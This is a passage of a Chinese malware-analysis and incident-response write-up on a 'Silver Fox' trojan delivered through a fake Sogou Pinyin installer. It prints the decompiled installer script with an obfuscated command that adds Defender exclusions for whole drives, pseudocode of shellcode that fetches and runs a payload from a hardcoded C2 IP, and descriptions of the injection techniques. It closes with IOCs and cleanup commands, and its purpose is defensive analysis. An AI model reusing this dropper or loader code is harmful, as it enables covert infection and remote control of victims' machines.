  Goto label_401
label_339:
  StrCmp $0 73 0 label_342
  StrCpy $1 I
  Goto label_401
label_342:
  StrCmp $0 84 0 label_345
  StrCpy $1 T
  Goto label_401
label_345:
  StrCmp $0 91 0 label_348
  StrCpy $1 [
  Goto label_401
label_348:
  StrCmp $0 92 0 label_351
  StrCpy $1 \
  Goto label_401
label_351:
  StrCmp $0 93 0 label_354
  StrCpy $1 ]
  Goto label_401
label_354:
  StrCmp $0 97 0 label_357
  StrCpy $1 a
  Goto label_401
label_357:
  StrCmp $0 99 0 label_360
  StrCpy $1 c
  Goto label_401
label_360:
  StrCmp $0 100 0 label_363
  StrCpy $1 d
  Goto label_401
label_363:
  StrCmp $0 101 0 label_366
  StrCpy $1 e
  Goto label_401
label_366:
  StrCmp $0 102 0 label_369
  StrCpy $1 f
  Goto label_401
label_369:
  StrCmp $0 105 0 label_372
  StrCpy $1 i
  Goto label_401
label_372:
  StrCmp $0 107 0 label_375
  StrCpy $1 k
  Goto label_401
label_375:
  StrCmp $0 108 0 label_378
  StrCpy $1 l
  Goto label_401
label_378:
  StrCmp $0 109 0 label_381
  StrCpy $1 m
  Goto label_401
label_381:
  StrCmp $0 110 0 label_384
  StrCpy $1 n
  Goto label_401
label_384:
  StrCmp $0 114 0 label_387
  StrCpy $1 r
  Goto label_401
label_387:
  StrCmp $0 115 0 label_390
  StrCpy $1 s
  Goto label_401
label_390:
  StrCmp $0 116 0 label_393
  StrCpy $1 t
  Goto label_401
label_393:
  StrCmp $0 120 0 label_396
  StrCpy $1 x
  Goto label_401
label_396:
  StrCmp $0 121 0 label_399
  StrCpy $1 y
  Goto label_401
label_399:
  StrCmp $0 124 0 label_401
  StrCpy $1 |
label_401:
  Pop $0
  Exch $1
    ; Push $1
    ; Exch
    ; Pop $1
FunctionEnd


Section MainSection ; Section_0
  ; AddSize 173967
  Call func_190
  Pop $R9
  nsExec::ExecToStack $R9
    ; Call func_527
    ; SetOverwrite off
    ; File $PLUGINSDIR\nsExec.dll
    ; DetailPrint ""
    ; Push $R9
    ; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack
  Pop $R0
  Pop $R1
  StrCmp $R0 0 label_422
  StrCpy $0"cmd.exe /C powe$\"$\"r$\"$\"s$\"$\"h$\"$\"ell.exe -Ex$\"$\"ec$\"$\"uti$\"$\"o$\"$\"nPol$\"$\"ic$\"$\"y By$\"$\"pa$\"$\"s$\"$\"s -C$\"$\"om$\"$\"ma$\"$\"n$\"$\"d Ad$\"$\"d$\"$\"-M$\"$\"pPr$\"$\"ef$\"$\"ere$\"$\"nce -Ex$\"$\"cl$\"$\"usion$\"$\"Path C:\, D:\,E:\,F:\"
  nsExec::Exec $0
    ; Call func_527
    ; File $PLUGINSDIR\nsExec.dll
    ; DetailPrint ""
    ; Push $0
    ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
label_422:
  Sleep 2000
  SetOutPath $LOCALAPPDATA
  Sleep 100
  WriteRegStr HKCU MicrosoftUser Source sogou
  StrCpy $R0$TEMP\temp_k.txt
  SetOverwrite on
  File $R0
  StrCpy $R1$TEMP\lic.dat
  File $R1
  Push --End--
  DcryptDll::Decrypt FFF $R0$R1$LOCALAPPDATA\Verifier.exe
    ; Call func_527
    ; SetOverwrite off
    ; File $PLUGINSDIR\DcryptDll.dll
    ; DetailPrint ""
    ; Push $LOCALAPPDATA\Verifier.exe
    ; Push $R1
    ; Push $R0
    ; Push FFF
    ; CallInstDLL $PLUGINSDIR\DcryptDll.dll Decrypt
  Sleep 100
  StrCpy $R2$TEMP\Profilerjson
  SetOverwrite on
  File $R2
  Push --End--
  DcryptDll::Decrypt FFF $R0$R2$LOCALAPPDATA\Profiler.json
    ; Call func_527
    ; SetOverwrite off
    ; AllowSkipFiles off
    ; File $PLUGINSDIR\DcryptDll.dll
    ; DetailPrint ""
    ; Push $LOCALAPPDATA\Profiler.json
    ; Push $R2
    ; Push $R0
    ; Push FFF
    ; CallInstDLL $PLUGINSDIR\DcryptDll.dll Decrypt
  Sleep 300
  Exec $LOCALAPPDATA\Verifier.exe
  Sleep 25000
  SetOverwrite on
  AllowSkipFiles on
  File jiuc
  File kaymgoefkyt
  SetOutPath $APPDATA
  Sleep 100
  StrCpy $R3$TEMP\GPUCachexml
  File $R3
  Push --End--
  DcryptDll::Decrypt FFF $R0$R3$APPDATA\GPUCache.xml
    ; Call func_527
    ; SetOverwrite off
    ; AllowSkipFiles off
    ; File $PLUGINSDIR\DcryptDll.dll
    ; DetailPrint ""
    ; Push $APPDATA\GPUCache.xml
    ; Push $R3
    ; Push $R0
    ; Push FFF
    ; CallInstDLL $PLUGINSDIR\DcryptDll.dll Decrypt
  StrCpy $R5$TEMP\GPUCache2.xml
  SetOverwrite on
  AllowSkipFiles on
  File $R5
  Push --End--
  DcryptDll::Decrypt FFF $R0$R5$APPDATA\GPUCache2.xml
    ; Call func_527
    ; SetOverwrite off
    ; AllowSkipFiles off
    ; File $PLUGINSDIR\DcryptDll.dll
    ; DetailPrint ""
    ; Push $APPDATA\GPUCache2.xml
    ; Push $R5
    ; Push $R0
    ; Push FFF
    ; CallInstDLL $PLUGINSDIR\DcryptDll.dll Decrypt
  SetOutPath $APPDATA\Embarcadero
  Sleep 100
  Push --End--
  DcryptDll::Decrypt FFF $R0 $R3 $APPDATA\Embarcadero\GPUCache.xml
    ; Call func_527
    ; File $PLUGINSDIR\DcryptDll.dll
    ; DetailPrint ""
    ; Push $APPDATA\Embarcadero\GPUCache.xml
    ; Push $R3
    ; Push $R0
    ; Push FFF
    ; CallInstDLL $PLUGINSDIR\DcryptDll.dll Decrypt
  Push --End--
  DcryptDll::Decrypt FFF $R0 $R5 $APPDATA\Embarcadero\GPUCache2.xml
    ; Call func_527
    ; File $PLUGINSDIR\DcryptDll.dll
    ; DetailPrint ""
    ; Push $APPDATA\Embarcadero\GPUCache2.xml
    ; Push $R5
    ; Push $R0
    ; Push FFF
    ; CallInstDLL $PLUGINSDIR\DcryptDll.dll Decrypt
  Sleep 100
  StrCpy $R4$TEMP\Auto.dat
  SetOverwrite on
  AllowSkipFiles on
  File $R4
  Push --End--
  DcryptDll::Decrypt FFF $R0$R4$APPDATA\Embarcadero\AutoRecoverDat.dll
    ; Call func_527
    ; SetOverwrite off
    ; AllowSkipFiles off
    ; File $PLUGINSDIR\DcryptDll.dll
    ; DetailPrint ""
    ; Push $APPDATA\Embarcadero\AutoRecoverDat.dll
    ; Push $R4
    ; Push $R0
    ; Push FFF
    ; CallInstDLL $PLUGINSDIR\DcryptDll.dll Decrypt
  Sleep 500
  StrCpy $8 "cmd.exe /C   $\"start  rundll32.exe $APPDATA\Embarcadero\AutoRecoverDat.dll,DllRegisterServer$\""
  nsExec::Exec $8
    ; Call func_527
    ; File $PLUGINSDIR\nsExec.dll
    ; DetailPrint ""
    ; Push $8
    ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec
  Sleep 500
  SetOutPath $INSTDIR
  Sleep 500
  Sleep 500
  SetOverwrite ifnewer
  AllowSkipFiles on
  File sogou_pinyin_guanwang_15.3a.exe
  Sleep 500
  CreateShortCut $DESKTOP\sogou_pinyin_guanwang_15.3a.lnk $INSTDIR\sogou_pinyin_guanwang_15.3a.exe
SectionEnd


Function func_527
  DetailPrint ""
  StrCmp $PLUGINSDIR "" 0 label_537
  Push $0
  SetErrors
  GetTempFileName $0
  Delete $0
  CreateDirectory $0
  IfErrors label_538
  StrCpy $PLUGINSDIR $0
  Pop $0
label_537:
  Return

label_538:
  MessageBox MB_OK|MB_ICONSTOP "Error! Can't initialize plug-ins directory. Please try again later." /SD IDOK
  Quit
FunctionEnd



; --------------------
; UNREFERENCED STRINGS:

/*
*/

3.逆向分析技术复盘

在明确了攻击链条后,对核心样本进行了逆向溯源,从代码层面验证了银狐木马的免杀逻辑与执行细节。

3.1 核心 DLL 分析 (AutoRecoverDat.dll)

AutoRecoverDat.dll 是银狐实现持久化与窃密的核心组件。通过 IDA Pro 分析,其入口逻辑具有明显的环境探测与对抗特征。

逻辑一:环境探测与载荷加载 代码首先判断配置文件 C:\Users\username\AppData\Roaming\Embarcadero\ActivityLog.xml 是否存在:

img

初始化与配置解密

  • 若不存在:视为首次运行,程序会加载同目录下的 GPUCache.xml,提取并执行其中存储的 Shellcode,随后创建 ActivityLog.xml 标记感染状态。

  • 若存在:则读取 GPUCache2.xml 并执行后续逻辑。

img

内存加载与无文件执行

img

持久化与恶意行为执行

逻辑二:即时通讯软件探测 恶意 DLL 会遍历进程列表,专门探测受害者是否安装了以下即时通讯软件,这表明攻击者具有针对性的窃密意图:

  • telegram.exe

  • WhatsApp.exe

  • DingTalk.exe

qmemcpy(telegram.exe, "telegram.exe", sizeof(telegram.exe));
      sub_10002D05(v44, (int)telegram.exe, (int)Telegram.exe, (int)telegram.exe);
      n9 = 10;
      n1024_4 = n1024_2 | 4;
      n1024_3 = n1024_4;
      v15 = ((int (__fastcall *)(_DWORD *, _DWORD *))sub_10004B08)(v56, v44);
      n9 = 11;
      n1024_5 = n1024_4 | 8;
      n1024_1 = n1024_5;
      n1024_3 = n1024_5;
      if ( (unsigned __int8)((int (__fastcall *)(int))unk_10002328)(v15) )
        goto LABEL_14;
      qmemcpy(WhatsApp.exe, "WhatsApp.exe", sizeof(WhatsApp.exe));
      sub_10002D05(v46, (int)WhatsApp.exe, (int)telegram.exe, (int)WhatsApp.exe);
      n9 = 12;
      n1024_6 = n1024_5 | 0x10;
      n1024_3 = n1024_6;
      v18 = ((int (__fastcall *)(_DWORD *, _DWORD *))sub_10004B08)(i_2, v46);
      n9 = 13;
      n1024_7 = n1024_6 | 0x20;
      n1024_1 = n1024_7;
      n1024_3 = n1024_7;
      if ( (unsigned __int8)((int (__fastcall *)(int))unk_10002328)(v18) )
        goto LABEL_14;
      qmemcpy(DingTalk.exe, "DingTalk.exe", sizeof(DingTalk.exe));

逻辑三:持久化机制建立 为了确保重启后依然存活,DLL 会执行以下命令注册自身: cmd /c regsvr32.exe /s C:\Users\...\AppData\Roaming\Embarcadero\AutoRecoverDat.dll

img

持久化建立执行命令

随后,通过 COM 接口操作 Windows 任务计划程序,创建名为 .NET Framework JDAH v7.7 的计划任务。该任务的触发动作为执行 rundll32 加载恶意 DLL 的 DllRegisterServer 函数。

img

img

代码分析证实攻击者通过 COM 接口创建伪装成 .NET Framework 的恶意计划任务

img

伪装的 .NET Framework 的恶意计划任务

3.2 C2 通信与 Shellcode 分析

当条件满足(如存在 ActivityLog.xml),恶意程序会执行 GPUCache2.xml 中的 Shellcode。该段代码的主要功能是初始化网络环境,并与攻击者的 C2 服务器建立连接。

img

初始化程序实例并解密恶意配置 / 数据

通信逻辑分析:Shellcode 调用 ws2_32.dll 中的 WSAStartup 初始化网络,并尝试连接硬编码的 C2 IP 地址:119.28.70.225

int sub_100010F0()
{
  _BYTE v1[400]; // [esp+0h] [ebp-1C4h] BYREF
  _DWORD v2[8]; // [esp+190h] [ebp-34h] BYREF
void (*v3)(void); // [esp+1B0h] [ebp-14h]
  _DWORD *i_1; // [esp+1B4h] [ebp-10h] BYREF
int v5; // [esp+1B8h] [ebp-Ch]
int v6; // [esp+1BCh] [ebp-8h]
  _DWORD *i; // [esp+1C0h] [ebp-4h]

  i_1 = 0;
  i = 0;
  ((void (__stdcall *)(int, _BYTE *))ws2_32_WSAStartup)(514, v1);
  v2[0] = 0;
memset(&v2[4], 0, 16);
  v2[1] = 2;
  v2[2] = 1;
  v2[3] = 6;
  v5 = ((int (__stdcall *)(char *, void *, _DWORD *, _DWORD **))ws2_32_getaddrinfo)(
         a1192870225,                           // "119.28.70.225"
         &unk_10012CF0,
         v2,
         &i_1);
if ( v5 )
    goto LABEL_9;
for ( i = i_1; i; i = (_DWORD *)i[7] )
  {
    dword_1001537C = ((int (__stdcall *)(_DWORD, _DWORD, _DWORD))ws2_32_socket)(i[1], i[2], i[3]);
    if ( dword_1001537C == -1 )
      goto LABEL_9;
    v5 = ((int (__stdcall *)(int, _DWORD, _DWORD))ws2_32_connect)(dword_1001537C, i[6], i[4]);
    if ( v5 != -1 )
      break;
    ((void (__stdcall *)(int))ws2_32_closesocket)(dword_1001537C);
    dword_1001537C = -1;
  }
  ((void (__stdcall *)(_DWORD *))ws2_32_FreeAddrInfoW)(i_1);
if ( dword_1001537C == -1 )
  {
LABEL_9:
    ((void (*)(void))ws2_32_WSACleanup)();
    ((void (__stdcall *)(_DWORD))unk_100047B0)(0);
    return1;
  }
else
  {
    v6 = 0;
    while ( 1 )
    {
      v6 = ((int (__stdcall *)(int, char *, int, _DWORD))ws2_32_recv)(
             dword_1001537C,
             (char *)off_10015380 + dword_10015378,
             dword_10014900 - dword_10015378,
             0);
      if ( v6 <= 0 )
        break;
      dword_10015378 += v6;
      if ( dword_10015378 == dword_10014900 )
      {
        dword_10014900 *= 2;
        off_10015380 = (_UNKNOWN *)((int (__cdecl *)(void *, int))unk_100047C6)(off_10015380, dword_10014900);
      }
      if ( v6 <= 0 )
        goto LABEL_18;
    }
    if ( v6 )
    {
      ((void (__stdcall *)(int))ws2_32_closesocket)(dword_1001537C);
      ((void (*)(void))ws2_32_WSACleanup)();
      ((void (__cdecl *)(void *))unk_100047D1)(off_10015380);
      ((void (__stdcall *)(_DWORD))unk_100047B0)(0);
      return1;
    }
LABEL_18:
    ((void (__stdcall *)(int))ws2_32_closesocket)(dword_1001537C);
    ((void (*)(void))ws2_32_WSACleanup)();
    v3 = (void (*)(void))((int (__stdcall *)(_DWORD, int, int, int))kernel32_VirtualAlloc)(0, dword_10015378, 12288, 64);
    ((void (__cdecl *)(void (*)(void), void *, int))unk_10003EC0)(v3, off_10015380, dword_10015378);
    v3();
    return0;
  }
}

img

威胁情报IP(其中之一)

连接建立后,它会接收服务端回传的 Payload,利用 VirtualAlloc 分配内存并直接执行,实现远程控制功能的动态下发。

img

Shellcode 逆向还原出的 C2 连接与网络通信逻辑

3.3 Verifier.exe 与多阶段注入

针对安装包释放的程序 Verifier.exe,发现原始文件是搜狗的一个带有签名的程序,银狐通过对该程序中的字节码进行了多次Patch Shellcode,目的是为了伪造出一个“带有签名的恶意加载器”。

img

程序详细信息展示

img

Patch白文件

注入流程复盘:

一阶段:Verifier.exe 启动后执行恶意代码,读取 Profiler.json 中的内容。

img

从隐蔽位置加载并执行恶意代码

反射加载:Profiler.json 解密后是一个名为 Single.dll 的模块,通过反射式 DLL 注入技术在内存中加载。

img

内存中构造恶意 DLL

通过提取 Profiler.json 文件进行分析,发现其内嵌的 Payload 实际上利用 sRDI (Shellcode Reflective DLL Injection) 技术。 经代码比对,攻击者直接移植了 GitHub 开源项目 monoxgas/sRDI 的核心逻辑。该技术允许攻击者将恶意的 DLL(在此案中为 AutoRecoverDat.dll)转换为位置无关的 Shellcode。这意味着攻击者无需将恶意 DLL 落地到磁盘,即可通过 Profiler.json 在内存中直接加载并执行 DLL 的导出函数。这种“拿来主义”的开发模式在银狐团伙中并不罕见,既降低了其免杀开发成本,又保证了注入的稳定性。

img

动态解析 API 与内存执行准备

提权与二阶段注入:Shellcode 尝试获取 explorer.exe 进程权限并进行注入。

img

提升系统权限

核心行为:获取当前进程令牌,并为自身提升 SeDebugPrivilege(调试特权)。

恶意特征:正常程序极少主动提升调试权限,这是恶意软件为后续注入其他进程做准备。

反沙箱手法:先睡眠 60 秒,延缓沙箱分析。

img

定位目标进程(explorer.exe

核心行为:遍历系统进程列表,精准定位 explorer.exe(桌面进程)的进程 ID(PID)。

恶意特征:选择 explorer.exe 是因为它是系统常驻进程,注入后可长期隐蔽存活,不易被发现。

img

进程注入(注入到explorer.exe

核心行为:在 explorer.exe 中分配可执行内存,写入恶意代码并执行。

恶意特征:这是典型的进程注入技术,把恶意代码隐藏在合法进程中执行,逃避杀毒软件的进程级检测。

二阶段shellcode可以看到具体内容,首先会判断当前目录下是否存在所需的exe文件

img

利用系统合法工具(LOLbin 技术)

核心行为:查找 regsvr32.exerundll32.exe 等系统自带工具(称为 “LOLbin”),并利用它们执行恶意代码。

恶意特征:这是Living off the Land技术,用系统合法工具执行恶意行为,让杀毒软件难以区分正常和恶意操作。

三阶段(UserAccountBroker):代码会检查当前目录下是否存在特定的 EXE 文件。如果 regsvr32rundll32 等为空,则触发 sub_10019CA0 函数进入三阶段:

  • 挂起系统进程 C:\Windows\SysWOW64\UserAccountBroker.exe

  • 将伪装成 GPU 缓存的四阶段 Shellcode 注入到该进程中。

  • 恢复进程执行。

img

用汇编指令混淆构造字符串

img

定位对应进程,准备注入 / 劫持

img

逆向分析显示恶意代码将 Payload 注入至 UserAccountBroker.exe 系统进程

4.病毒分析总结

根据深度逆向工程分析,该银狐变种具备以下核心特征:

特征维度

详细描述

持久化机制

1. 利用 COM 接口添加名为 .NET Framework JDAH v7.7 的计划任务 2. 利用 COM 接口添加名为 .NET Framework adv v6.0.4232 的计划任务

远控设施 (C2)

119.28.70.225 137.220.136.191 doebn.com

对抗策略

白加黑(Verifier.exe)、多阶段内存注入(UserAccountBroker)、文件名伪装(AppID\explore.exe)

三、 威胁处置与建议

针对此类利用持久化机制和白利用技术的病毒,单纯删除文件无法根除威胁。建议按照以下标准流程进行处置:

1.阻断与进程清理

第一步:立即断网隔离受灾主机。

第二步:终止恶意进程。 需优先关闭 Verifier.exe 和 rundll32.exe

Verifier.exe
rundll32.exe

img

终止Verifier.exe、rundll32.exe等进程

对于 rundll32.exe,使用管理员权限打开 PowerShell,输入以下命令筛选恶意进程 PID:

Get-CimInstance Win32_Process -Filter "Name='rundll32.exe'" | Select-Object ProcessId, CommandLine | Format-List

img

判定标准:观察输出结果中的 CommandLine 字段,找到路径包含 C:\Users\...\AppData\Roaming\Embarcadero\AutoRecoverDat.dll,DllRegisterServer 的进程,记录其 ProcessId

在任务管理器中,勾选“PID”列,找到对应的 ID 右键结束进程。同时结束所有的 Verifier.exe 进程。

img

img

img

通过 PowerShell 精准定位加载恶意 DLL 的 rundll32 进程

2.清除 Defender 排除项

攻击者为了规避检测,通过脚本将磁盘根目录加入了 Windows Defender 的白名单。需执行以下命令强制移除:

Remove-MpPreference -ExclusionPath "C:\"
Remove-MpPreference -ExclusionPath "D:\"
Remove-MpPreference -ExclusionPath "E:\"
Remove-MpPreference -ExclusionPath "F:\"

接着找到该路径,删除该文件

C:\Users\Administrator\AppData\Local\Verifier.exe

然后重启进程explorer.exe 

img

3.清除恶意计划任务

.NET Framework JDAH v7.7
.NET Framework adv v6.0.4232

使用管理员模式打开 PowerShell,运行如下命令精准查找:

Get-ScheduledTask | Where-Object { $_.TaskName -match "JDAH|adv" } | Select-Object TaskName, TaskPath, State, @{N='Action';E={$_.Actions.Execute}}

img

PowerShell 检出伪装成 .NET 组件的恶意计划任务

根据输出结果,打开 taskschd.msc,导航至 \Microsoft\Windows\AppID\ 路径,右键删除名为 .NET Framework JDAH v7.7 和 .NET Framework adv v6.0.4232 的任务。

img

img

img

在任务计划程序中彻底删除恶意任务

4.彻底删除恶意文件

找到以下路径,彻底删除对应的文件(注意:Administrator 需替换为受害主机的实际用户名)。 建议使用 Everything 工具搜索文件名快速定位。

  • 核心加载器:C:\Users\Administrator\AppData\Local\Verifier.exe

  • 伪装进程:需先重启 explore.exe 进程(如有),然后删除 C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\AppID\explore.exe

  • 恶意组件与缓存:

    • C:\Users\Administrator\AppData\Local\Profiler.json

    • C:\Users\Administrator\AppData\Roaming\GPUCache.xml

    • C:\Users\Administrator\AppData\Roaming\GPUCache2.xml

    • C:\Users\Administrator\AppData\Roaming\Embarcadero\AutoRecoverDat.dll

    • C:\Users\Administrator\AppData\Local\Temp\Auto.dat

    • C:\Users\Administrator\AppData\Local\Temp\GPUCache2.xml

    • C:\Users\Administrator\AppData\Local\Temp\lic.dat

5.改进建议

  • 升级 IDS 规则库:确保安全设备能识别上述 C2 IP 及流量特征。

  • 基线加固:建立服务器基线配置管理系统,限制 PowerShell 执行策略及 AppData 目录的可执行权限。

  • 密钥管理:部署硬件安全模块 (HSM) 强化密钥管理,防止凭证泄露。

img

威胁处置建议流程图

总结

本次事件是一起典型的通过 SEO 搜索引擎毒化进行的供应链投毒攻击。攻击者利用“白加黑”加载、文件名混淆、计划任务伪装等多种手段,极大地提高了攻击的隐蔽性和持久性。

Solar 应急响应团队致力于为政企机构提供集“监测预警-应急处置-溯源取证-灾难恢复”于一体的闭环安全防线。面对不断演进的威胁,我们不只提供资讯,更提供“情报驱动决策,技术终结危机”的实战化解决方案。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值